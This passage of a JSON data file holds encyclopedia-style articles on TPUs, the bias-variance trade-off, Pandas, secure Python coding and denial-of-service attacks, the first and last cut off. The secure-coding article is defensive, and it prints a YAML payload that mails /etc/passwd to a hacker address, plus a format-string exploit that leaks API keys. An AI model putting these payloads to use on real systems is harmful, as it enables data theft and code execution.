either for training or for inference. Nvidia's **Volta** equipped with 640 tensor cores is Pascal's successor. \n\nMovidius makes Visual Processing Units (VPUs), named **Myriad 2**, that offer visual intelligence at device level. Intel announced in November 2016 an AI processor named **Nervana** for both training and inference. It's first commercial version, named *Nervana Neural Net L-1000*, was announced in May 2018. IBM's own chip named **TrueNorth** is capable of deep learning inferences. Mid-2018, IBM announced an unnamed prototype chip capable of both training and inference. \n\nMicrosoft has been using FPGAs in its datacenters since these can be configured easily unlike ASICs. In May 2018, Microsoft announced *Project Brainwave* and claims that it makes Azure the fastest cloud for real-time AI. \n\nARM is promoting its **MALI** GPUs to offload ML processing from its Cortex CPUs. Others in the AI chip space include Graphcore, Cerebras and Vathys. \n\n\n### Are there any performance results comparing TPUs against Nvidia's GPUs?\n\nOne engineer at RiseML has compared Cloud TPU (consisting of 4 TPUv2) against Nvidia 4 V100s. In both cases, each core had 16 GB of memory. The former was on Google Cloud while the latter was on AWS. The performance test was on ResNet-50. \n\nIn terms of raw throughput without any pre-processing, both had comparable results. However, when batch sizes were decreased, V100s showed better performance. When looking at cost, Google Cloud offers better value for money. \n\nIn the real world, we are more interested in the cost for achieving a desired level of accuracy. Cloud TPU outperforms here, costing $55 for an accuracy of 75.7%. The same on AWS reserved instances cost $88. Cloud TPU also results in faster convergence, perhaps due to pre-processing. V100s achieve a final accuracy of 75.7% after 84 epochs, whereas Cloud TPU does it in only 64 epochs. An epoch in deep learning is a single pass of the dataset through the neural networks and multiple epochs are needed for convergence. \n\n\n### Is Google's TPU anyway connected to SGI's product of the same name?\n\nNo. Silicon Graphics had something called a TPU in its workstations in the 2000s. It was an advanced DSP that used dynamic shared-memory access. This has nothing to do with Google's TPU.\n\n## Milestones\n\n2013\n\nGoogle realizes that with the growing computational demand of neural networks, it would have to double the number of data centers. This concern triggers the design and development of TPU ASIC. \n\nMay  \n2016\n\nGoogle announces that it's been using TPUs in its data centers for ML for more than a year. In its original form, it's packaged as an external accelerator card that can be easily installed into SATA hard disk slot. The TPU ASIC is built on 28nm process, runs at 700MHz and consumes 40W. \n\nJan  \n2017\n\nQualcomm announces that it has optimized TensorFlow for the **Hexagon 682** DSP. \n\nDec  \n2017\n\nGoogle reveals details of TPU2, second-generation TPU. Each TPU2, composed of four TPU2 chips, can deliver 180 teraflops, 64GB of high-bandwidth memory and 2,400GB/s memory bandwidth. These can be interconnected to make a **TPU2 Pod** capable of 11.5 petaflops. \n\nFeb  \n2018\n\nAs a beta release, users can use **Cloud TPU** on Google Cloud Platform to accelerate the training of ML models. This is really TPU2 offered on the cloud. Models can now be trained overnight rather than in days or weeks. No special programming expertise is needed; TensorFlow can be used and reference implementations are available. The cost is $6.5/hour compared to Amazon's $24/hour. \n\nMay  \n2018\n\nGoogle announces **TPU 3.0**, which requires liquid cooling. A single TPU3 chip is capable of 90 teraflops.","meta":{"title":"Tensor Processing Unit","href":"tensor-processing-unit"}}
{"text":"# Bias-Variance Trade-off\n\n## Summary\n\n\nIn statistics and machine learning, we collect data, build models from this data and make inferences. Too little data, the model is most likely not representative of truth since it's biased to what it sees. Too much data, the model could become complex if it attempts to deal with all the variations it sees.\n\nIdeally, we want models to have low bias and low variance. In practice, lower bias leads to higher variance, and vice versa. For this reason, we call it Bias-Variance Trade-off, also called *Bias-Variance Dilemma*. \n\nThere are techniques to address this trade-off. The idea is to get the right balance of bias and variance that's acceptable for the problem. A good model must be, \n\n> Rich enough to express underlying structure in data and simple enough to avoid fitting spurious patterns.\n\n## Discussion\n\n### Could you explain bias-variance trade-off with examples?\n\nSuppose we collect income data from multiple cities across professions. While income can be correlated with profession, there will be variations across cities due to differing lifestyles, cost of living, tax rules, etc. For example, a doctor in London would have a higher income than a doctor in Leicester. This can be called heterogeneity in data. In regression modelling, a model built on this data will have high variance and predictions may not be accurate.\n\nWe can overcome this by making the data more homogeneous by splitting the data by city. Thus, we'll end up with multiple models, one per city. Each model is biased to its city but has lesser variance. We could also choose to split the data by state or region. The amount of variance that can be tolerated will dictate bias.\n\nConsider KNN classification as another example. At low \\(k\\), predictions are not consistent due to high variations. When we consider more neighbours, we get better predictions as variance is reduced. However, if \\(k\\) is too high we start considering neighbours that are \"too far\", which contributes to increased bias. \n\n\n### What's the intuition behind bias-variance trade-off?\n\nAssume we're building a prediction model. We build multiple models from different data samples. **Bias** is a measure of how far the predictions are from the true value. **Variance** is a measure of variability across these models. This is illustrated graphically with a bulls-eye diagram. \n\nIntuitively, we can say that a biased model is too simple. It's unable to capture essential patterns in the training data. We say that such a model is **underfitting** the data. \n\nOn the other hand, a model with high variance is a complex model. It's in fact sensitive to the training data. It's **overfitting** the data. When it sees new data, it's unable to predict correctly since it's overfitted to the training data. We might also state that such a model **does not generalize** well. A simpler model would have done better but if it becomes too simple it also becomes biased. \n\nIn summary, a biased model is underfitted and of low complexity. A model of high variance is overfitted and of high complexity.\n\n\n### What's the math behind bias-variance trade-off?\n\nGiven x-y data points, we can represent the relationship as \\(Y = f(X) + \\epsilon\\), where \\(\\epsilon\\) is the error term of Normal distribution \\(N(0,\\sigma\\_\\epsilon)\\). Let \\(\\hat{f}(X)\\) be an estimate of \\(f(X)\\) obtained via any modelling technique such as linear regression or KNN. Let's use mean squared error for the prediction error. Thus, the expected prediction error at point \\(x\\) is, \n\n$$\\begin{align}\\Bbb{E}[(y - \\hat{f}(x))^2] = & \\; \\Bbb{E}[(f(x) - \\Bbb{E}[\\hat{f}(x)])^2] \\\\ & + \\Bbb{E}[(\\hat{f}(x) - \\Bbb{E}[\\hat{f}(x)])^2] \\\\ & + {\\sigma\\_\\epsilon}^2\\end{align}$$\n\nThe first term is the squared bias of the estimator. The second term is the variance of the estimator. The third term is simply noise. A perfect model would eliminate both bias and variance, but not the noise. Noise contributes to what we call *irreducible error*. \\(\\Bbb{E}[\\hat{f}(x)]\\) is the average prediction from various estimators. Each estimator is trained on a different sampling of the dataset.  \n\nThe idea of separating and analysing bias and variance terms of the prediction error is called *bias-variance decomposition*.  \n\nPerfect models don't exist. In practice, we aim for a model that attempts to minimize the error, neither underfitting nor overfitting. \n\n\n### Could you explain specific examples of high/low bias/variance?\n\nIn this example, we use \\(f(x)\\) for the underlying process (purple) and \\(\\hat{f}(x)\\) for our estimate of the process (orange). Individuals fit functions (orange) are averaged to give \\(\\Bbb{E}[(\\hat{f}(x)]\\) (green). \n\nConsider a nonlinear process \\(f(x)\\) (top figure). We don't know that it's nonlinear. We attempt to fit a linear function \\(\\hat{f}(x)\\) to the data. The data may also contain noise. We take different samples of the data and find suitable fits. None of the lines are close to \\(f(x)\\). Thus, our fits are all biased, in fact, biased towards linear functions. However, all lines are not too different, which implies low variance. \n\nNow consider a linear process \\(f(x)\\) (bottom figure). We now attempt to fit a nonlinear function \\(\\hat{f}(x)\\) to the data. The functions are complex enough to fit the data and the noise. In fact, it's overfitting. Each nonlinear curve fits its own data and the curves all look different. Thus, our model \\(\\hat{f}(x)\\) exhibits high variance. When we average these fits, we get a line that close to the original process. Thus, there's low bias. \n\n\n### How can I calculate the bias and variance of my model?\n\nBias and variance can be calculated only when we have multiple estimators, each trained on a different dataset. In practice, we usually have a single dataset to train an estimator. In such a case, we can use bootstrapping or cross validation. \n\nWe don't usually calculate bias and variance. Instead, the dataset is divided into training and test sets. The model is trained on the training set. It's then evaluated for the prediction error on the test set. This is equivalent to selecting the best one from a candidate list of estimators using bias and variance of each estimator. This similarity can also be observed with the error curves for \\({Bias}^2 + Variance\\) and test set. \n\nOverfitting can be observed when the training set error drops but the test set error increases. This is often an indication to consider a simpler model. Equivalently, in neural networks, it's an indication to stop the training process.\n\nIt's important that the test set is not used for training. Otherwise, it's difficult to assess the model's performance. \n\n\n### What are some possible methods to overcome bias-variance trade-off?\n\nA common myth is to minimize bias at the expense of variance. It's important to minimize both. Resampling techniques such as bagging and cross validation help to reduce variance without increasing bias. By such techniques we build multiple models and predict using an **ensemble** of these models. A specific example is random forests used for classification. The variance of a single decision tree is reduced by random forests. The penalty is memory and computation due to multiple models. \n\nBagging reduces variance with little effect on bias. **Boosting** is a technique to reduce bias. In practice, boosting can hurt performance on noisy data. Moreover, boosting is known to increase variance at an exponential decaying rate, which some call *exponential bias-variance trade-off*. \n\n\n### Is bias-variance trade-off applicable to neural networks?\n\nHistorically, it was believed that the trade-off applies to neural networks as well. To address the trade-off, early stopping and dropping are techniques to avoid overfitting. \n\nIn the 2010s, neural networks challenged the classical bias-variance trade-off. The classical **U-shaped risk curve** was replaced with a **double-descent risk curve**. While bias decreases monotonically, variance first increases and then decreases after a point called the **interpolation threshold**. Beyond this point, as more parameters are added, the network performs better. In fact, this behaviour has been observed not just with neural networks but also with ensemble methods such as boosting and random forests. \n\nIn particular, performance is influenced by both width and depth of the network. Bias decreases as width increases. Variances decreases as width increases beyond the threshold. As depth increases, bias decreases and variance increases by a lesser amount. Deeper networks generalize better and this mainly due to lower bias. \n\n\n### Where exactly is the bias-variance trade-off relevant?\n\nBias-variance trade-off applies to supervised machine learning. It applies to both classification problems and regression problems. In general, it can be a useful conceptual framework when modelling any complex system. \n\nThe trade-off has been useful in analyzing human cognition. Given limited training data, we rely on high-bias, low-variance heuristics. These heuristics are fairly simple but generalize well to a wide variety of situations. Tasks such as object recognition use some \"hard wiring\" that's later fine tuned by experience. Do humans learn concepts based on prototypes (high bias, low variance) or exemplar models (low bias, high variance)? This sort of question can be investigated by the bias-variance trade-off. \n\nIn program analysis, precise abstractions may not lead to better results and bias-variance trade-off has been used to explain this. In fact, a tool produced using cross validation had better running time, found new defects and experienced fewer timeouts. \n\nIn reinforcement learning with partial observability, there's a similar trade-off between asymptotic bias and overfitting. A smaller state representation might decrease the risk of overfitting but at the cost of increasing asymptotic bias. \n\n## Milestones\n\n1952\n\nIn a paper titled *On empirical spectral analysis of stochastic processes* Grenander introduces what he calls **the uncertainty principle**. He states, \"if we want high resolvability we have to sacrifice some precision of the estimate and vice versa.\" The term resolvability relates to bias whereas the term precision relates to variance. \n\n1975\n\nGiven discrete, noisy observations, Wahba and Wold show how a smooth curve can be fitted to the data via **cross validation**. Smoothing can be done to control variance or bias. Cross validation helps in controlling both and obtain a better fit. \n\n1986\n\nHastie and Tibshirani discuss the bias-variance trade-off in the context of **regression** modelling. This is just an example to show that the trade-off is well known by the 1980s. \n\n1992\n\nGeman et al. note that a feedforward neural network trained by error backpropagation is essentially nonparametric regression. It's a model-free approach but requires lots of training data and slow to converge. A model-based approach learns faster but is also biased: it can't address complex inference problems. They therefore state the trade-off clearly, \"whereas incorrect models lead to high bias, truly model-free inference suffers from high variance.\" \n\n1995\n\nHistorically, bias-variance trade-off started in regression with squared loss as the loss function. For **classification** problems, zero-one loss is used. For classification, Kong and Dietterich show that ensembles can reduce bias. In 1996, Breiman shows that ensembles can reduce variance. \n\n1998\n\nSchapire et al. show that ensembles enlarge the margins and thereby enable models to generalize better. \n\n2000\n\nDomingos proposes a **unified bias-variance decomposition** that can be applied to any loss function (squared loss, zero-one loss, etc.). The decomposition is not always additive. He notes that bias-variance trade-off behaviour is dependent on the loss function. Domingos also shows that Schapire's margin-based approach is equivalent to bias-variance-based approach. An ensemble's generalization error can be expressed either as the distribution of the margins or as bias-variance decomposition of the error. \n\n2004\n\nValentini and Dietterich perform bias-variance analysis on Support Vector Machines (SVMs) to get insights into how SVMs learn. They observe the expected bias-variance trade-off but they also see complex relationships, especially in Gaussian and polynomial kernels. They propose how bias-variance decomposition can be used to develop ensemble methods using SVMs as base learners. \n\nOct  \n2018\n\nNeal et al. observe that since the mid-2010s, empirical results show that wider networks generalize better. The classical U-shaped test error curve due to bias-variance trade-off is being defied by neural networks. In their experiments, they show that bias and variance decrease as more parameters are added to the network.","meta":{"title":"Bias-Variance Trade-off","href":"bias-variance-trade-off"}}
{"text":"# Pandas\n\n## Summary\n\n\nPandas is a Python package that enables in-memory data manipulation and analysis. It offers many ways to read and store data. It can inspect, clean, filter, merge, combine or transform data to suit the needs of analysis. By mid-2010s, it became an essential tool in the data scientist's toolkit.\n\nPandas is built on another popular Python package called NumPy. NumPy and Pandas data structures have become common formats that many Python packages tend to support. \n\nPandas is an open-source BSD-licensed project sponsored by NumFOCUS. Pandas is often seen as Python's answer to similar capabilities in R language.\n\n## Discussion\n\n### Why do I need Pandas when there's NumPy?\n\nNumPy has multi-dimensional arrays that are optimized for numerical computation. NumPy supports element-wise mathematical operations on arrays (addition, division, cosine) and dot product of arrays. Arrays can be transposed, combined, sliced and indexed in flexible ways. Array content can be aggregated (sum, min, max, mean). \n\nPandas is built on top of NumPy. It can therefore do everything that NumPy can do. In fact, it's easy to convert between Pandas and NumPy data structures, both of which can be used within the same codebase. In addition, Pandas offers methods that simplify data analysis. NumPy isn't flexible or easy to use for statistical work. A NumPy array must contain values of the same type, which is not common in real-world data. \n\nPandas is better suited for **tabular data**. Consider data stored in a spreadsheet or a database. It's typical to give unique labels to rows and columns. Accessing data by these labels makes it easier to write and maintain code. For this reason, Pandas has much better support reading from or writing to CSV/JSON/Excel/HDF5/HTML files and MySQL databases. \n\n\n### Could you describe some use cases of Pandas?\n\nWe can use Pandas for **data inspection and profiling**. We can view a small sample of the dataset. Data is described using basic statistics: mean, median, mix, max, etc. Profiling can point out missing or duplicate values, or correlations among variables. *Pandas Profiling* is a package that does this automatically. \n\nAnother task for a data scientist is **Exploratory Data Analysis (EDA)**. This is done to gain insights into the data and identify possible input features before any modelling is done. Pandas fits nicely the interactive and iterative nature of EDA. *DataPrep.eda* is an EDA tool built on top of Pandas. \n\nBefore training a machine learning model, Pandas can simplify **data preparation**. For example, categorical labels are converted to numerical values. Missing values are replaced with mean or median values. Predicted variable is separated from the rest of the dataset. Data are merged, sorted, grouped, filtered, reshaped, etc. \n\n**Time Series Analysis (TSA)** is another use case of Pandas. Pandas has data types to handle date/time values. It can do time-based indexing, time zone handling, resampling, rolling windows, and trend analysis. \n\n\n### Which are the main features of Pandas?\n\nWe note the following important features: \n\n    + **Data Structures**: Inspired by R's `data.frame`, `DataFrame` is a good fit for storing and manipulating tabular data. This includes indices on rows and labels on columns. There's also `Series` (1D vectors) and `Panel` (3D tables).\n    + **Input/Output**: Pandas can read/write data between memory and various file formats. For example, reading from a CSV file is just two lines of code whereas this in Java would need 30 lines.\n    + **Indexing**: Data can be indexed in many ways. Hierarchical indexing allows intuitive access to high-dimensional data.\n    + **Manipulation**: Pandas can reshape or pivot data. It's easy to add or remove columns. Different datasets can be merged or automatically aligned based on the indices. Aggregations and even more sophisticated \"group by\" operations common with SQL database tables are possible.\n    + **Missing Data**: These can be either ignored, dropped or replaced depending on the operation. There are methods to detect the presence of missing data.\n    + **Time-Series Data**: There's support for date range generation, frequency conversion, moving windows statistics, date shifting and lagging.\n    + **Optimization**: Critical code paths are optimized in Cython or C.\n\n### How well is Pandas supported by other Python packages and tools?\n\nMany well-known Python packages and tools understand or even specialize Pandas `DataFrame` and `Series`. Some of these include pandas-tfrecords, sklearn-pandas, Featuretools, Compose, Altair, Bokeh, Seaborn, qgrid, Spyder, pandas-datareader, PyDatastream, Geopandas, Blaze, Koalas, etc. \n\nFor visualization, **matplotlib** can directly read DataFrame type and create plots. For machine learning, **scikit-learn** methods can read a DataFrame, often by specifying the argument `as_frame=True`. \n\n**IPython** understands and displays Pandas datasets in a more user-friendly manner. Via package *ipywidgets*, we can interactively explore Pandas data frames within a Jupyter Notebook environment. \n\n**statsmodels** is a package for econometrics and statistical modelling. This package uses Pandas data structures. It has historical links with Pandas development. \n\nPandas runs on a single CPU core. With **Dask**, we can parallelize the computation on multiple cores or a cluster of machines. Dask offers `dask.dataframe` that's a composite of many Pandas DataFrames. Dask APIs are also similar Pandas APIs. \n\nWith **RAPIDS CuDF**, Pandas DataFrames can run on GPUs. Computations run in parallel on many GPU cores. \n\n\n### What are some criticisms of Pandas?\n\nMemory management in Pandas could be better. As a rule of thumb, Pandas requires 5-10x as much RAM as the dataset size. There's no native support for multicore execution. There's no support for memory mapping. It's therefore easy to copy an entire dataset by accident when analytics is done only on a small part of it. Support for categorical data could be better. Appending data to a DataFrame is slow. It doesn't have an SQL-like query processing layer. \n\nPandas is too tightly coupled to NumPy. For example, an entire DataFrame column must be stored in the same NumPy array. This frequently results in doubling memory requirements and additional computation. \n\nPandas can't read multiple rows in parallel from a CSV file. Likewise, it can't read multiple CSV files in parallel. It doesn't support SQL-like conditional joins. \n\nSome of the limitations noted above are solved by other libraries such as PandasSQL, PySpark, Terality, Vaex, DataTable, Dask and CuDF. \n\n\n### Which are some online resources to learn Pandas?\n\nThe official Pandas documentation is the place for installation guide, user guide, API reference, tutorials, and more. Beginners can start learning from the 10 minutes to pandas user guide. Getting Started tutorials and tutorials from the community are two useful resources. \n\nDataCamp's Pandas Cheatsheet and Irv Lustig's Pandas Cheatsheet are two useful references. \n\nWes McKinney's book titled *Python for Data Analysis* is recommended. \n\nR developers who wish to learn Pandas can start by looking at how R operations map to Pandas. \n\nDevelopers who wish to contribute to the Pandas project, can visit their GitHub page.\n\n## Milestones\n\n2009\n\nPandas is open sourced in late 2009. It's creator, Wes McKinney, started working on the project in April 2008. His intent is to make data analysis easier for Python programmers and even those who're not expert programmers. \n\n2010\n\nMcKinney notes at SciPy Conference that other Python packages have appeared recently, offering some of the features of Pandas: Ia, Tab, pydataframe. NumPy and SciPy have made Python more accessible to the scientific community. For statistical modelling, there's StaM, PyMC and SciL. However, there's no **cohesive framework for statistical modelling**. Statisticians continue to prefer R. Pandas is an attempt to change this. \n\nNov  \n2013\n\nMcKinney, the creator of Pandas, gives a presentation with a sub-title *10 Things I Hate About pandas*. To address some of these, he shares his work on a new tool named **Badger**. It has a consistent type system, compressed columnar binary storage, and an analytical query processor. By late 2015, these ideas result in the formation of **Apache Arrow**. \n\nOct  \n2015\n\nPandas becomes a **fiscally sponsored project of NumFOCUS**. With this, Pandas joins other Python projects that are also sponsored by NumFOCUS: NumPy, Matplotlib, Project Jupyter, and IPython. \n\nOct  \n2017\n\nIn October 2017, StackOverflow records 5 million visits to questions on Pandas from more than 1 million unique visitors. Many companies use Pandas for data analysis including Google, Facebook and JP Morgan. The rising popularity of Python itself from 2012 onwards has been attributed to the adoption of Pandas by data scientists. \n\nJan  \n2019\n\nFrom January 2019, all future releases of Pandas will support **only Python 3**. This means that the last version to support Python 2 is 0.23.4 (August 2018). \n\nJan  \n2020\n\n**Pandas 1.0.0** is released. It requires at least Python 3.6.1. On an experimental basis, data type `NA` is introduced to represent missing data. Data types `SparseSeries` and `SparseDataFrame` are replaced with `Series` and `DataFrame` with `sparsevalues` option. Some APIs are deprecated and others are backward incompatible. Pandas 1.0.0 Release Notes has full details.","meta":{"title":"Pandas","href":"pandas"}}
{"text":"# Secure Coding with Python\n\n## Summary\n\n\nWriting secure code is essential for protecting sensitive data and maintaining correct behaviour of applications. This is more relevant today when most applications connect to the web, exchange data and even update themselves. While security considerations and best practices are typically language agnostic, in this article we focus on Python-specific issues.\n\nOWASP's Python Security project has identified three angles: Security in Python (white-box analysis, functional analysis), Security of Python (black-box analysis), and Security with Python (develop security-hardened Python). \n\nWhile some vulnerabilities are due to the way Python modules and functions behave, others are due to the manner in which third-party packages are distributed. Since Python is an open developer ecosystem, anyone can share their own packages that others can use in their projects. However, this opens up a security risk that developers need to be aware of.\n\n## Discussion\n\n### What are some guidelines for writing more secure Python code?\n\nIt's essential to validate user input. If not, an attacker could execute arbitrary code. Python functions `eval()`, `exec()`, `input()`, `popen()`, `subprocess()` and `os.system()` are dangerous in this regard. These could be used to bypass authentication or inject code. For example, Python2's `input()` could be exploited. An input of `passwd` to the statement `if passwd == input(\"Please enter your password\"):` would bypass authentication. \n\nDatabases are also vulnerable to inputs. Commonly called SQL injection, using inputs directly in database commands is dangerous. Instead, validate the inputs and query databases via an ORM. Among the well-known Python ORMs are Django ORM, SQLAlchemy and Peewee. \n\nPython `assert` statement must be used only on invariants for debugging. Using them for authentication (such as `assert user.is_admin, \"user does not have access\"`) is wrong. Often on production servers, `&lowbar;&lowbar;debug&lowbar;&lowbar; == False` and assert statements won't work. \n\nTo create temporary files, avoid the deprecated `tempfile.mktemp()` function. In general, keep your Python distribution and the packages you use up to date. For example, earlier CPython implementations of Python had memory overflow errors that could be exploited for arbitrary code execution. \n\n\n### How should I manage Python dependencies for a more secure application?\n\nPyPI is the repository from where third-party Python packages can be downloaded and installed if required by your project. Direct dependencies may have further dependencies. Any of these could have malicious code. \n\nIt's easy to create a malicious package based on a well-known package since the original code is open source and easily copied. Often these packages behave normally since the malicious code only resides in `setup.py` that executes once during installation. This is enough to install software that can later steal data or monitor behaviour. Some attacks modify the original code, for example, to steal SSH credentials. \n\nDevelopers can be tricked into installing the wrong package by a slight modification of the original package name. This is called **typosquatting**. There are plenty of examples: `acqusition` impersonates `acquisition`; `bzip` impersonates `bz2file`; `crypt` impersonates `crypto`; `setup-tools` impersonates `setuptools`; `urlib3` impersonates `urllib3`;  `diango` impersonates `django`. \n\nPEP458 proposes signing a package. However, this only verifies its author's identity. Instead, a combination of dynamic analysis (within a sandbox) and static analysis can be used to catch malicious packages. \n\n\n### What security risks do Python strings pose if used improperly?\n\nPython3 introduced `str.format()` as a more powerful and flexible way to format strings. This method is called on a format string and it accepts Python objects as arguments. The problem is that attributes of these arguments can be accessed from within the format string. If the application allows users control of the format string, they can be misused to leak sensitive data. \n\nThere are a few cases where such control may be common. Applications that are translated into multiple languages may use untrusted translators who may be given control of the format string. Some applications may permit users to configure behaviour that might be exposed as format strings. \n\nAn example exploit is the code `\"{person.&lowbar;&lowbar;init&lowbar;&lowbar;.&lowbar;&lowbar;globals&lowbar;&lowbar;[CONFIG][API_KEY]}\".format(person)`, where sensitive global data from a `CONFIG` dictionary is being accessed via the argument. \n\nWe can overcome this by validating the format string. One approach is shown by Armin Ronacher who subclasses `Formatter` and `Mapping`, makes use of `formatter_field_name_split` and throws an `AttributeError` if unsafe formats are detected. \n\n\n### What's a secure way to do data deserialization in Python?\n\nDeserialization recreates Python objects by reading its representation from disk or network interface. It's possible to deserialize malicious data and thereby execute arbitrary code in your system. This is because objects are not just values. They contain constructors and methods that are executable code. \n\nFor example, a web application could store user information in a cookie that's formed using `cPickles` or `pickle` module. The object's `&lowbar;&lowbar;reduce&lowbar;&lowbar;` method could be modified to contain malicious code. This method would be called during deserialization. A better approach would be to use `json.loads()`. If `cPickles` is used, verify the payload integrity using cryptographic signatures. PyCrypto is a useful package for this.  \n\nAnother serialization format is YAML. YAML files can represent Python objects. Like `pickle`, it's possible to modify them to bypass authentication or execute arbitrary code. For example, configuration files in Ansible are YAML files. The following code obtains passwords and emails the same to the hacker's address: `!!python/object/apply:os.system [\"cat /etc/passwd | mail hacker@domain.com\"]`. Essentially, it's unwise to deserialize from an untrusted source. A safer alternative is to use `yaml.safe_load()` rather than `yaml.load()`. \n\n\n### What are some resources for Python developers to create more secure code?\n\nPython core modules that can help developers build security features include `hashlib`, `hmac` and `secrets`. For passwords and security tokens, `secrets` must be preferred over `random`. Functions `hmac.compare_digest()` and `secrets.compare_digest()` are designed to mitigate timing attacks. \n\nBandit is a useful static linter that can alert developers to common security issues in code. Another static analyzer, open sourced by Facebook, is Pysa. To audit installed packages and their versions, use a tool such as Chef InSpec. PyUp tracks thousands of Python packages for vulnerabilities and makes pull requests to your codebase automatically when there are updates. \n\nPython Security is an OWASP project aimed at creating a security-hardened version of Python. Their page on security concerns in modules and functions is worth reading. They've also curated a list of Python libraries for security applications. \n\nSome Python Enhancement Proposals (PEPs) specific to security are worth reading for in-depth understanding. Among them are PEP458, PEP506, PEP551, and PEP578. \n\n## Milestones\n\nDec  \n2008\n\nPython 3.0 is released. This release includes *PEP 3101 -- Advanced String Formatting*. Strings can now be formatted using the `str.format()` method. For more secure code, it's noted that applications shouldn't format strings from untrusted sources. The next best approach is to ensure that string formatting doesn't result in visible side effects, though this is not easy to achieve given the open nature of Python. \n\nJul  \n2011\n\nMarco Slaviero publishes a detailed report on the many possible exploits and attack scenarios on the `pickle` module. He gives guidelines on how to write shellcode to create such exploits. He provides a library of exploits such as retrieve a list of globals and locals, make operating system calls, execute arbitrary Python code, alter local variables or create a DoS attacks. \n\nDec  \n2016\n\nPython 3.6.0 is released. This release includes the `secrets` module that's documented in *PEP 506*. Python's existing `random` module is not suited for security purposes. Though documentation makes this clear, many implementations are seen to ignore this warning. To solve this problem, `secrets` module includes ready-to-use functions for managing passwords, tokens and other secrets. \n\nOct  \n2018\n\nBertus, a software security engineer, creates a static analysis tool to automatically detect if a package published on PyPI is malicious. From a scan of 123,000 packages, he identifies about a dozen such packages containing various exploits.  \n\nNov  \n2019\n\nDiscussions start towards implementing *PEP 458 -- Secure PyPI downloads with signed repository metadata*. Although this PEP was started in 2013, funding becomes available only recently. The idea of this proposal is that authors need not sign the packages they upload to PyPI. PyPI will automatically sign these packages using keys managed by PyPI. This is called **minimum security model**. This PEP doesn't address the maximum security model in which authors can sign the packages. \n\nDec  \n2019\n\nGerman software developer Lukas Martini finds two packages on PyPI that are doing **typosquatting**. These are `python3-dateutil` (impersonating `dateutil`) and `jeIlyfish` (impersonating `jellyfish`). The former doesn't have any malicious code but it imports the latter. Package `jeIlyfish` downloads a file, decodes that into Python code and executes it. This code attempts to read SSH and GPG keys from the computer and send them to a specific IP address. \n\nAug  \n2020\n\nFacebook open sources **Pysa**, a static analysis code to detect and prevent security issues in Python code. It's shipped as part of **Pyre**, a static type checker tool. Pysa tracks data flows. Developers define sources where data originates and sinks where data shouldn't end up. It warns when data reaches a sink. It has techniques to mitigate false positives and false negatives.","meta":{"title":"Secure Coding with Python","href":"secure-coding-with-python"}}
{"text":"# Denial-of-Service Attack\n\n## Summary\n\n\nDenial of Service (DoS) attack is the practice of flooding a system either with traffic or by disrupting the system in such a way that it will cause difficulty for the users to access the system. This attack often leads to a massive loss for the organisation. DoS attacks can be categorised in different ways, but the attacker's main aim is to target network availability by attacking the network's bandwidth or connectivity. The attacker tries to be anonymous by hiding the source of the traffic.\n\nThere are several techniques and tools to avoid or prevent DoS attacks. The most basic technique is the detection technique.\n\n## Discussion\n\n### What are the statistics for DoS attacks worldwide?\n\nOne research showed that more than 20M DoS attacks happen, targeting about 2.2M / 24 IPv4 network blocks. The figure depicts attacks that are most prominent around the world. There is also a 1-10 grading system, where 10 is the most fatal attack experienced. London has the highest DoS attack with a cumulative score of 230. This is followed by Milano with 202, Ashburn with 121, Frankfurt with 117, Buenosaires with 87, Saopaulo and Seoul with 68, Amsterdam with 52, Singapore with 50, and Portland with 50. After this, Mumbai is next, with a cumulative score of 47 from the top 20 places having fatal attacks. \n\n\n| Country | Targets | % |\n| --- | --- | --- |\n| US | 1232k | 29.50% |\n| China | 416k | 9.96% |\n| France | 323k | 7.73% |\n| GB | 266k | 6.37% |\n| Germany | 216k | 5.18% |\n| Other | 1727k | 41.26% |\n\nThe table tells the number of IP addresses targeted with the percentage of all observed attacks with the help of Honeypot. The observation is based on the NetAcuity Edge IP geolocation database.\n\n\n### In what ways can a DoS attack be a threat to systems?\n\nSpecific resources become targets through DoS attacks. An attack can compromise the **network bandwidth**, aiming at the connection between the web server, the global internet, or any appliances connected to the network. Some of the attacks on web services can be SOAP array attack, XML entity expansion or oversized cryptography. \n\n**System resources** are the next target where the system becomes overloaded with continuous requests. These obstruct responses to the actual users. One example is when the attacker sends a massive number of virtual connections to consume the memory and CPU resources of the target server. In application resources, a specific application in the system is attacked, making it unavailable.\n\n**Firewalls and Intrusion Detection Systems (IDSs)** can be DoS attack targets. Such attacks fall into two classes: \n\n    + Stateful: Attack causes an excessive state or state with a pathological structure.\n    + Stateless: Attack exhausts the processing resources.Attacks on an IDS face the same problems as firewalls but differ because some detectable attacks will be missed instead of denying services. \n\n\n### What are the types of DoS attacks that attackers use?\n\nDoS attacks are categorised as weakness-based or flooding attacks. \n\n**Weakness-based attack** uses weaknesses of the internet system. Ping of death attack, TCP-SYN attack, HTTP Post and HTTP Get and Slowloris come under weakness-based attacks.\n\n**Flooding attack** creates traffic in the system and fulfils its goal of making it inaccessible. UDP Flood, ICMP Flood (Ping Flood) and SSL Traffic Flood are examples of flooding attacks.\n\nIn some research papers, DoS attacks are divided into Bandwidth or Volume-based attacks (UDP flood and ICMP flood), Protocol attacks (SYN attack and Ping of Death attack) and Application Layer attacks (Teardrop attack and Spam). \n\n\n### Which tools are commonly used for DoS attacks?\n\nOne popular tool used for DoS attacks is LOIC (Low Orbit Ion Cannon). LOIC can send millions of packets (UDP, TCP or HTTP requests) and flood the user's internet connection. Praetox Technologies developed this for experimental purpose. However, hackers have adopted this tool to create TCP, HTTP or UDP traffic.\n\nThere are also other tools: \n\n    + High Orbit Ion Cannon (HOIC): Can send massive TCP traffic and spoof the source IP addresses to make them appear random.\n    + Hping or hping3: Transmits an ICMP echo request while sending massive TCP traffic to the victim.\n    + Slowloris: Targets the victim server by sending them an HTTP header slowly, bit by bit until a timeout happens.\n    + Trinity and Trinoo: Use UDP packets to attack.\n\n### What is the aim behind DoS attacks?\n\nThe motivation for DoS attack can be extortion and profit, causing a distraction or collateral damage. In recent years Hack-Activism has been a term concerning a famous group called Anonymous (famous internet activist). They are known to attack certain online services for political reasons. \n\nWe note the following reason for DoS attacks: \n\n    + **Financial/economic gain**: attacks are difficult to stop and are mostly concerns of cooperation\n    + **Revenge** : done by attackers with lower technical capabilities or frustrated individuals seeking revenge\n    + **Intellectual challenge**: attacks occur for experimental purpose from researchers trying new techniques\n    + **Cyberware**: attackers are military or terrorist organisations\n    + **Service unavailability**: attackers block the victims from getting any kind of resources or suffering slow performance\n    + **Ideological belief**: same as Hack-Activism\n\n### How can we detect and protect against DoS attacks?\n\nWhile creating a defence against DoS attacks, three significant points should be highlighted: \n\n    + **Attack Prevention**: Prevention happens before the attack. 